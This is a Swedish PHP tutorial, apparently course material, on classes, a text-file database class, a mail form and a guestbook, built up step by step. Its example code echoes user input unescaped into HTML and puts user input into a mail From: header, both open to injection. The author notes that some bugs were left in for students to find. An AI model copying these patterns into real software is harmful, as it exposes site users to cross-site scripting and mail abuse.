Lägg även märke till att det i nedanstående exempel finns en räknaMera funktion. Det fanns även en räknaMera funktione i basklassen (=den klass vi ärvt från), en det är inte basklassens funktin som körs eftersom vi har gjort en s.k. överagring av funktionen.
<?php
include_once("php3_class2.php");
class EnKlass4 extends EnKlass2
{
function EnKlass4( $indata = 100 )
{
# gör allt som du vill att denna klasskonstruerare
# skall göra ....
# se sedan till att köra förälderns konstruerare
$this->EnKlass2( $indata );
}
function räknaMera( )
{
return $this->klassVariabel * 122 ;
}
}
$MinKlass = new EnKlass4() ;
echo $MinKlass->räknaLite( 40 ) ;
echo "<br />" ;
$MinAndraKlass = new EnKlass4( 3 ) ;
echo $MinAndraKlass->räknaLite( 40 ) ;
echo "<br />" ;
# Följande funcktion finns i EnKlass3, resten är ärvda från EnKlass2
echo $MinAndraKlass->räknaMera( ) ;
?>
För att förstå klasser bättre så skapar vi en klass för filhantering. Många av oss är säkert vana med att hantera enklare databaser och klassen skall i praktiken hantera filen som en databas
Filen skall innefålla "fältnamnen" på första raden samt några testrader. Mellan varje fält skall det sättas en tabulator. Se nedanstående exempel:
ID Namn Adress Ålder
1 Kalle Hemma 22
2 Ville Borta 92
3 Lena Mellan 19
Denna fil måste vara skrivbar!
Vi börjar med en enkel klass. Även om jag inte betonar detta i mina exempel, så fungerar det utmärkt att planera klassen med hjälp av någon formell metod, t.ex. UML. I detta fall konstaterar vi bara att:
<?php
class db_fil
{
var $databasen;
var $fältnamnen;
var $nuvarande_post;
# constructor - kan ta ett filnamn
function db_fil( $fil = "" )
{
if ( $fil != "" )
{
$datat = file( $fil );
$this->sök_fram_allt_data( $datat );
}
}
function sök_fram_allt_data( $datat )
{
$this->fältnamnen = explode( "\t", $datat[0] );
foreach( $this->fältnamnen as $index=>$fält )
$this->fältnamnen[$index] = Trim($this->fältnamnen[$index]);
array_splice( $datat, 0, 1);
foreach( $datat as $raden )
{
$fälten = explode( "\t", $raden );
$id = $fälten[0];
foreach( $this->fältnamnen as $index=>$fält )
{
$denna_rad[$fält] = $fälten[$index];
}
$this->databasen[] = $denna_rad;
}
$this->nuvarande_post = 0;
}
function debug_print()
{
echo "<pre>";
print_r($this->databasen);
echo "</pre>";
}
function nästa( )
{
if ($this->nuvarande_post < count($this->databasen) - 1 )
{
$this->nuvarande_post++;
return true;
}
else
{
return false;
}
}
function föregående( )
{
if ($this->nuvarande_post > 0 )
{
$this->nuvarande_post--;
return true;
}
else
{
return false;
}
}
function första( )
{
$this->nuvarande_post = 0;
}
function sista( )
{
$this->nuvarande_post = count($this->databasen) -1 ;
}
function fältvärde( $vilket )
{
return $this->databasen[ $this->nuvarande_post ][ $vilket ];
}
function sök( $fält, $värde )
{
foreach($this->databasen as $index=>$innehåll)
{
if ( trim($innehåll[ $fält ]) == trim( $värde ) )
{
$this->nuvarande_post = $index;
return true;
}
}
return false;
}
function ändra( $fält, $värde )
{
$this->databasen[ $this->nuvarande_post ][ $fält ] = $värde;
}
function radera( )
{
array_splice( $this->databasen, $this->nuvarande_post, 1);
if ( $this->nuvarande_post > 0 )
$this->nuvarande_post--;
}
}
$minfil = new db_fil( "databas.txt" );
do{
echo $minfil->fältvärde("Namn");
echo " ";
echo $minfil->fältvärde("Adress");
echo " ";
echo $minfil->fältvärde("Ålder");
echo "<br>";
}while ( $minfil->nästa() );
if ( $minfil->sök("ID", 2 ) )
{
echo $minfil->fältvärde("Namn");
}
else
{
echo "Hitta int";
}
$minfil->debug_print();
$minfil->radera();
$minfil->debug_print();
?>
Array ( [0] => Array ( [ID] => 1 [Namn] => Kalle [Adress] => Hemma [Ålder] => 22 ) [1] => Array ( [ID] => 2 [Namn] => Ville [Adress] => Borta [Ålder] => 92 ) [2] => Array ( [ID] => 3 [Namn] => Lena [Adress] => Mellan [Ålder] => 19 ) )
Array ( [0] => Array ( [ID] => 1 [Namn] => Kalle [Adress] => Hemma [Ålder] => 22 ) [1] => Array ( [ID] => 3 [Namn] => Lena [Adress] => Mellan [Ålder] => 19 ) )
[ Utskriftsversion av alla uppgifter ]
Istället för att ta ett antal basuppgifter som innefattar loopar mm. så har jag valt att ta ett antal lite större övningar som (förhoppningsvis) täcker in typiska koncept i PHP.
För att utföra uppgifterna behöver ni följande:
[ Utskriftsversion av denna uppgift ]
För att utföra denna uppgift behöver du göra följande:
[ Utskriftsversion av denna uppgift ]
Att sända mail är mycket enkelt med PHP. Vi behöver bara en form + lite kod ;-)
Problemet är (som vanligt) att vi även måste fundera på felhantering och validering - och då blir det mer kod. Det är inget omöjligt problem, vi måste bara vara lite metodiska och bygga ut programmet steg för steg.
Nedan är ett antal steg som till slut leder fram till en mailform. Jag har inte kommenterat allför mycket om koden, utan du antas studera på egen hand så att du lär dig förstå koden. Alla funktioner mm. finns beskrivna på denna sajt... Om du bara söker fram det sista exemplet, tar Copy/Paste och sedan går på kaffe så har du sumpat chansen att lära dig någonting (Och det var väl därför denna kurs kom till? Eller?)
.. och se till att den spara filen som mail.php
Observera namnen på de olika delarna i formen: from, subject, text och send. PHP klarar av åäö, men sänd i alla fall aldrig dessa tecken via adressraden. Du får senare snygga till den i din favoriteditor, men låt den för tillfället vara rätt "rå".
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<form>
Elpost:<br>
<input
type="text"
size="40"
name="from" >
<br>
Ärende:<br>
<input
type="text"
size="50"
name="subject" >
<br>
Text:<br>
<textarea
name="text"
cols="40"
rows="8" ></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Prova koden - skriv in A, B och C i de olika textboxarna - och lägg märke till att det sätts mail.php?from=A&subject=B&text=C&send=S%E4nd+elpost i browserns adressrad när vi klickar på knappen.
(OBS! Mina filer kommer att ha avvikande namn, men ni skall arbeta vidare med er mail.php hela tiden)
Studera:
Formars konstruktion, html
Prova:
Det finns mer attribut man kan sätta på formars textboxar
- testa dessa (men låt layouten vara som den är för
tillfället.)
För att komma vidare måste vi "fånga upp" de parametrar som sänds via adressraden när vi klickar på knappen. Se nedanstående kod (fetstil är nytt från föregående kod)
<?php
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php
# skriv ut meddelandet - det gör inget om det råkar vara tomt
echo $meddelande;
?>
<form>
Elpost:<br>
<input
type="text"
size="40"
name="from" >
<br>
Ärende:<br>
<input
type="text"
size="50"
name="subject" >
<br>
Text:<br>
<textarea
name="text"
cols="40"
rows="8" ></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Studera:
$_GET, $_POST, $_REQUEST
samt isset
läs om styrsatserna if mm.
När vi testar märker vi att vi även kan klicka på knappen utan att skriva in någonting i de olika textboxarna. Detta måste ju fixas, det är ingen vits att sända tomma mail, men först funderar vi lite på hur man kan meddela felen. Detta kan göras genom att vi skapar ett antal variabler som, för tillfället, är tomma och skriver ut dem på lämpliga ställen i formen. Se nedanstående exempel (fetstil är nytt från föregående kod)
<?php
# skapa en antal variabler för eventuella fel
$fel_from = "";
$fel_subject = "";
$fel_text = "";
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php
# skriv ut meddelandet - det gör inget om det råkar vara tomt
echo $meddelande;
?>
<form>
Elpost:<?php echo $fel_from; ?><br>
<input
type="text"
size="40"
name="from" >
<br>
Ärende:<?php echo $fel_subject; ?><br>
<input
type="text"
size="50"
name="subject" >
<br>
Text:<?php echo $fel_text; ?><br>
<textarea
name="text"
cols="40"
rows="8" ></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Eftersom vi har "färdigt preparerade" meddelanden kan vi sätta dessa variabler vid behov. Kontollera hur de olika felmeddelandena kommer om vi lämnar tomt i en eller flera textboxar.
<?php
# skapa en antal variabler för eventuella fel
$fel_from = "";
$fel_subject = "";
$fel_text = "";
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
# vi kontrollerar att det faktiskt finns någonting skrivet
# i de olika textboxarna och sätter de olika felmeddelandena
# om det är tomt
# vi hade ju prepareat utskriften av felmeddelandena
# i föregående steg
if ( $_REQUEST[ "from" ] == "" )
{
$fel_from = "<b> Du måste ange din elpost</b>";
}
if ( $_REQUEST[ "subject" ] == "" )
{
$fel_subject = "<b> Du måste ange ärende</b>";
}
if ( $_REQUEST[ "text" ] == "" )
{
$fel_text = "<b> Du måste nog skriva någonting</b>";
}
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php echo $meddelande; ?>
<form>
Elpost:<?php echo $fel_from; ?><br>
<input
type="text"
size="40"
name="from" >
<br>
Ärende:<?php echo $fel_subject; ?><br>
<input
type="text"
size="50"
name="subject" >
<br>
Text:<?php echo $fel_text; ?><br>
<textarea
name="text"
cols="40"
rows="8" ></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Lade ni märke till att om vi skrev något i textboxarna så blev dessa tömda när vi klickade på knappen? (Lade du inte märke till detta testade du nog lite väl slarvigt - shame on you) Detta är ju inte så kul - det vi skrivit borde ju hållas kvar. Vi behöver återigen modifiera koden lite. Prova följande kod genom att skriva in i vissa textboxar och klicka sedan på knappen.
<?php
# skapa en antal variabler för eventuella fel
$fel_from = "";
$fel_subject = "";
$fel_text = "";
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
# vi kontrollerar att det faktiskt finns någonting skrivet
# i de olika textboxarna och sätter de olika felmeddelandena
# om det är tomt
# vi hade ju prepareat utskriften av felmeddelandena
# i föregående steg
if ( $_REQUEST[ "from" ] == "" )
{
$fel_from = "<b> Du måste ange din elpost</b>";
}
if ( $_REQUEST[ "subject" ] == "" )
{
$fel_subject = "<b> Du måste ange ärende</b>";
}
if ( $_REQUEST[ "text" ] == "" )
{
$fel_text = "<b> Du måste nog skriva någonting</b>";
}
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php echo $meddelande; ?>
<form>
Elpost:<?php echo $fel_from; ?><br>
<input
type="text"
size="40"
name="from"
value="<?php echo @$_REQUEST[ "from" ] ?>" >
<br>
Ärende:<?php echo $fel_subject; ?><br>
<input
type="text"
size="50"
name="subject"
value="<?php echo @$_REQUEST[ "subject" ] ?>" >
<br>
Text:<?php echo $fel_text; ?><br>
<textarea
name="text"
cols="40"
rows="8" ><?php echo @$_REQUEST[ "text" ] ?></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Studera:
@ - tecknets användning
Prova:
Vad händer om du tar bort ett av @ - tecknen i ovanstående
kod
Vi har felhanteringen något så när under kontroll och kan snart börja fundera på att sända posten. Vi behöver bara hitta den rätta platsen för detta i koden. Vi testar nedanstående för att se att meddelandet "ALLT VERKAR OK" kommer när alla textboxar är ifyllda.
<?php
# skapa en antal variabler för eventuella fel
$fel_from = "";
$fel_subject = "";
$fel_text = "";
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
# vi kontrollerar att det faktiskt finns någonting skrivet
# i de olika textboxarna och sätter de olika felmeddelandena
# om det är tomt
# vi hade ju prepareat utskriften av felmeddelandena
# i föregående steg
if ( $_REQUEST[ "from" ] == "" )
{
$fel_from = "<b> Du måste ange din elpost</b>";
}
if ( $_REQUEST[ "subject" ] == "" )
{
$fel_subject = "<b> Du måste ange ärende</b>";
}
if ( $_REQUEST[ "text" ] == "" )
{
$fel_text = "<b> Du måste nog skriva någonting</b>";
}
# en enkel koll kan ske genom att konrtollera om något
# av felmeddelande blivit satta ovan
# är alla variabler tomma så sattes inga felmeddelanden
if ( $fel_from == "" and
$fel_subject == "" and
$fel_text == "" )
{
# för tillfället visar vi bara ett meddelande
$meddelande = "ALLT VERKAR OK";
}
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php echo $meddelande; ?>
<form>
Elpost:<?php echo $fel_from; ?><br>
<input
type="text"
size="40"
name="from"
value="<?php echo @$_REQUEST[ "from" ] ?>" >
<br>
Ärende:<?php echo $fel_subject; ?><br>
<input
type="text"
size="50"
name="subject"
value="<?php echo @$_REQUEST[ "subject" ] ?>" >
<br>
Text:<?php echo $fel_text; ?><br>
<textarea
name="text"
cols="40"
rows="8" ><?php echo @$_REQUEST[ "text" ] ?></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
...är det väl bara att kasta iväg elposten. Se nedanstående kod.
<?php
# skapa en antal variabler för eventuella fel
$fel_from = "";
$fel_subject = "";
$fel_text = "";
# skapa en variabel för eventuella meddelanden
$meddelande = "";
# kontrollera om det fanns 'send=' i adressraden
# om det fanns kommer isset ( $_REQUEST[ "send" ] )
# att bli sann
# $_REQUEST[ "form_komponents_namn" ] används för att få de
# värden som kommer via adressraden eller via en s.k. POST
if ( isset ( $_REQUEST[ "send" ] ) )
{
# visa att vi kommit hit genom att ändra meddelandet
$meddelande = "DU TRYCKTE NU PÅ KNAPPEN";
# vi kontrollerar att det faktiskt finns någonting skrivet
# i de olika textboxarna och sätter de olika felmeddelandena
# om det är tomt
# vi hade ju prepareat utskriften av felmeddelandena
# i föregående steg
if ( $_REQUEST[ "from" ] == "" )
{
$fel_from = "<b> Du måste ange din elpost</b>";
}
if ( $_REQUEST[ "subject" ] == "" )
{
$fel_subject = "<b> Du måste ange ärende</b>";
}
if ( $_REQUEST[ "text" ] == "" )
{
$fel_text = "<b> Du måste nog skriva någonting</b>";
}
# en enkel koll kan ske genom att kontollera om något
# av felmeddelande blivit satta ovan
if ( $fel_from == "" and
$fel_subject == "" and
$fel_text == "" )
{
# för tillfället visar vi bara ett meddelande
$meddelande = "ALLT VERKAR OK";
# har ni problem med att sända tar ni bort # tecknet
# som kommer före ini_alter och ser till att det är en
# korrekt mailserver som anges
# ini_alter("SMTP", "mail.puv.fi");
# OBS! ändra följande rad till din elpostadress
$to = "den_elpost_adress@som_det_skall_sändas.till";
# från måste sättas in lite indirekt
$header = "From: " . $_REQUEST[ "from" ] . "\r\n";
# jag vill inte ha mailboxen full av testmail
# så jag avbryter programmet med nedanstående return
# ni får bara lita på att det fungerar
# tag bort ordet return i ER kod
return;
# sänder mailet
if ( mail ( $to,
$_REQUEST[ "subject" ],
$_REQUEST[ "text" ],
$header ) )
{
$meddelande = "Mail sändes";
}
else
{
$meddelande = "Mail sändes <b>INTE</b>";
}
}
}
?>
<html>
<head>
<title>Sänd elpost</title>
<style>
body { font-family: verdana, arial, sans-serif; }
</style>
</head>
<body bgcolor="#FFFFEE">
<?php echo $meddelande; ?>
<form>
Elpost:<?php echo $fel_from; ?><br>
<input
type="text"
size="40"
name="from"
value="<?php echo @$_REQUEST[ "from" ] ?>" >
<br>
Ärende:<?php echo $fel_subject; ?><br>
<input
type="text"
size="50"
name="subject"
value="<?php echo @$_REQUEST[ "subject" ] ?>" >
<br>
Text:<?php echo $fel_text; ?><br>
<textarea
name="text"
cols="40"
rows="8" ><?php echo @$_REQUEST[ "text" ] ?></textarea>
<br>
<input
type="submit"
name="send"
value="Sänd elpost">
<br>
</form>
</body>
</html>
Studera:
sök efter mail på www.php.net (går att göra
med sökboxen på början av sidan)
Tja... Vet vi nu att det är en giltig elpostadress som angetts? Det finns tre olika sätt att kontrollera elpostadressen (kom ihåg att $_REQUEST[ "from" ] antas en elpostadress):
Vilken av dessa är bäst? Enklast? Bryr vi oss?
Dessutom vill jag påpeka att koden vi skrivit är skriven så att det finns så lite php inne i html koden som möjligt, och att det mesta sker i ett större php-block i börkan av programmet.
Jag har dock lämnat kvar några små buggar/problem i koden. Kommer du på dem?
[ Utskriftsversion av dessa uppgifter ]
I sin enklaste form kan ett dataprogram beskrivas på följande sätt:
För att exemplifiera detta i PHP så skall vi göra ett
lite större system: En gästbok
Detta program kommer att byggas upp del för del, och ni kan konstatera
att program inte skrivs uppifrån och neråt, utan att de
istället byggs på inifrån och ut genom att sätta
in tilläggsfunktionalitet i flera steg.
OBS! Ni skall SKRIVA koden som finns. Den är lite svår att bara knycka med Copy/Paste. Om jag märker att ni bara kopierar lägger jag ut allt i pdf-format med bortkopplad copy funktionalitet. Ni kan INTE lära er NÅGONTING genom att bara kopiera...
OBS! Alla filer - såväl program- som datafiler - sätts i er php katalog om inte annat anges. Jag antar även att ni bläddrat genom de övriga sidorna i denna sajt, så att ni har en översikt över PHP...
Vi kommer att skapa ett formbaserat PHP program för en gästbok. Efter viss planering har vi kommit fram till att följande uppgifter behövs:
Dessutom finns det följande saker att beakta:
För att lagra detta skall det användas en vanlig textfil. Det skulle även gå att använda en databas, men för tillfället duger en textfil.
Hur skall då denna fil se ut? Man skulle kunna tänka sig att sätta in de ovanstående uppgifterna på separata rader, men det är enklare att hantera datat om varje enskilt inlägg kommer på en rad i fil. Jämför gärna med databasers post och fält begrepp.
Vi börjar inte med att koda inmatningen, utan istället skapar vi en "fejkad" fil som vi jobbar vidare med.
Skapa en fil med namnet guestbook.txt och skriv in följande rader. Var noga med att slå <enter> efter varja rad - även den sista. Ordet <enter> skrivs inte in utan betyder att du skall trycks på enter tangenten...
2003.09.02 12:23|Mr X|mrx@some.com|Hej...|...på dej<enter>
2003.09.02 12:23|Ms Y|mry@where.com|test|testar bara<enter>
Ovastående är ett exempel på en s.k "delimited file". För att skilja fälten från varandra sätts det in ett valt tecken. Detta skulle kunna vara ett komma (comma separated values - CSV) eller tabulator (tab separated values). Jag har dock valt att sätta "|"- tecknet istället. Dels för att komma mycket väl kan förekomma i ett inlägg och dels för att tabulatorer syns lite dåligt ibland i listningar.
Det finns en praktisk liten funktion i PHP som heter file (se filerna_fil3.php).
Den tar en komplett fil och sätter in resultatet i en array. Eftersom
vi sett till att varje inlägg är en separat rad så är
det praktiskt att kunna öppna filen i ett svep för att sedan
loopa genom den. PHP har en hel del praktiska funktioner för att
loopa genom arrays, t.ex. foreach (se array_cc.php)
För att plocka ut de enskilda delarna av strängen använder
vi explode (se array_str.php samt explode )
Vi kommer nedan att bygga upp listningen steg för steg:
<?php
# öppna filen och sätt allt in i en array med namnet $innehållet
# om det inte fungerar så meddelar vi detta med Die funktionen
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# loopa genom arrayen
foreach( $innehållet as $rad )
{
# plocka ut de enskilda delarna som separeras av | tecknet
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# visa bara $vem för tillfället
echo $vem;
}
?>
För att slippa använda arrays så sätter vi in värdena i ett antal variabler med namnen $datum, $vem, $elpost, $ärende och $texten. Det finns en kortare form som gör samma sak och som ser ut så här (se även array_str.php):
<?php
# öppna filen och sätt allt in i en array med namnet $innehållet
# om det inte fungerar så meddelar vi detta med Die funktionen
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# loopa genom arrayen
foreach( $innehållet as $rad )
{
# plocka ut de enskilda delarna som separeras av | tecknet
list($datum, $vem,$elpost,$ärende,$texten) = explode( "|", $rad );
# visa bara $vem för tillfället
echo $vem;
}
?>
Provkör programmet genom att surfa iväg till http://www.cc.puv.fi/~xxxxx/php/guestbook.php, där xxxxx är ditt användarnamn i nätverket. Tag gärna en titt på den genererade koden genom att ta <Högerklick>, View Source (i IE).
Vi borde nu ha insett följande saker:
Dessutom borde vi ha lagt märke till följande:
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<?php
# öppna filen och sätt allt in i en array med namnet $innehållet
# om det inte fungerar så meddelar vi detta med Die funktionen
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# loopa genom arrayen
foreach( $innehållet as $rad )
{
# plocka ut de enskilda delarna som separeras av | tecknet
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# visa bara $vem för tillfället
echo $vem . "<br>\n";
}
?>
</body>
</html>
För att komma vidare måste vi sätta ut mer av de uppgifter som finns i gästboksfilen, samt även formatera dessa. För formateringen kommer det att användas html-tabeller så om du inte är förtrigen med dess så bör du ta en snabb titt på vad <table>, <tr> och <td> har för betydelse i vanlig html.
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<?php
# öppna filen och sätt allt in i en array med namnet $innehållet
# om det inte fungerar så meddelar vi detta med Die funktionen
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# börja en tabell - detta skall ske före loopen
# sätt in radbyten \n för att ge mer lättläst kod om du
# tittar på source...
# observera änven att man inte kan skriva border="1" eftersom
# "-tecknet skulle avsluta strängen. Man måste skriva \" för att få
# ett " tecken innuti en teckensträng
echo "<table border=\"1\">\n";
# loopa genom arrayen
foreach( $innehållet as $rad )
{
# plocka ut de enskilda delarna som separeras av | tecknet
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# nedan är nytt/ändrat
# en rad för datum
echo "<tr><td>" . $datum . "</td></tr>\n";
# och fortsätt med resten
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td>" . $elpost . "</td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
# avsluta tabellen - detta skall ske efter loopen
echo "</table>\n";
?>
</body>
</html>
Listningen ser inte så vacker ut men det är ditt problem att få den snyggare. Kom bara ihåg att varje gång du vill få " i en teckensträng så måste du skriva \", t.ex för att få <td colspan="2"> så måste du skriva echo "<td colspan=\"2\">";
Tag en titt på nedanstående kod och ändra i ditt program det som visas som överstruket till det som visas med fetstil. Tag sedan en ordentlig funderare på hur citationstecken mm. egentligen kommer in i den genererade koden...
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<?php
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
echo "<table border=\"1\">\n";
foreach( $innehållet as $rad )
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td>" . $elpost . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
</body>
</html>
Datum skrivs inte ut som vi vill ha det i Finland. Som datum är skapat är det dock enkelt att plocka ut de enskilda delarna. Året är alltid de fyra första tecknen, månad börjar alltid vid postion fem och är två tecken osv. För detta kan vi använda php-funktionen substr (se strings_van.php#substr). Vill vi att eventuella 0-utfyllnader skall tas bort kan vi omvandla delsträngen till ett heltal med t.ex. casting (se variabler.php)
Även sorteringen är enkel, eftersom det finns färdiga funktioner för arraysortering i php (se array_sort.php)
Se nedanstående kod:
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<?php
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# sortera i omvänd ordning
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $rad )
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# plocka ut de olika delarna av datumet och plocka
# ihop dem igen i rätt ordning
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
</body>
</html>
Vi sätter in en helt vanlig html-form i vårt program. Observera att formen sätts "utanför" php-koden och att php-koden skall vara oförändrad från tidigare steg. För mer om formar se forms.php. Man kan med fördel använda t.ex. Dreamweaver för att konstruera formen, eftersom denna inte skrivs i PHP.
Du bör framför allt observera name= som används för alla komponenter i formen. Provkör gärna koden nedan genoma att klicka på länken under koden. Skriv in något i textrutorna och klicka sedan på "Skriv" knappen. Tag en titt på hur adressradens URL ändras.
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
# all PHP kod som tidigare
# ...
?>
</body>
</html>
För att kunna hantera det data som blev sänt av formen behöver vi göra ett tillägg i php-koden
Se isset.php, _request.php samt datum.php för mer information.
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
# kontrollera om det fanns "knapp=" i URL raden
if ( isset( $_REQUEST[ "knapp" ] ) )
{
# tag vem= värdet från URL
$vem = $_REQUEST[ "vem" ];
# tag elpost= värdet från URL
$elpost = $_REQUEST[ "elpost" ];
# tag arende= värdet från URL
# observera att man helst inte skall använda
# åäö i URL sammanhang
# i PHP går det däremot bra med åäö
$ärende = $_REQUEST[ "arende" ];
# tag texten= värdet från URL
$texten = $_REQUEST[ "texten" ];
# tag datum från systemet och formatera detta korrekt
$datum = date("Y.m.d H:i");
# skarva ihop en textsträng som skall kunna skrivas till filen
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
# för tillfället visar vi den bara på sidan och skriver inte
# till någon fil
echo "Du klickade på Skriv och
följande kommer att sättas i filen<br><pre>";
echo $allt;
echo "<pre>";
}
# all PHP kod som tidigare
# ...
?>
</body>
</html>
Prova programmet genom att skriva in olika saker i formen...
Det finns några problem med koden som den är. Prova genom att skriva in följande i Text: textarean på sidan som finns under denna länk:
Vi ser tydligt att måste beakta två saker i texten för att kunna sätta in detta i vår fil (som skall ha en rad per inlägg i gästboken):
Nedan är koden som beaktar detta. Tag eventuellt en titt på strings_conv.php, strings_van.php, funktioner.php samt syntax.php för mer information om de använda funktionerna.
Eftersom det är flera strängar som behöver beaktas/modifieras är det enklast att skapa en funktion som sköter om detta.
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
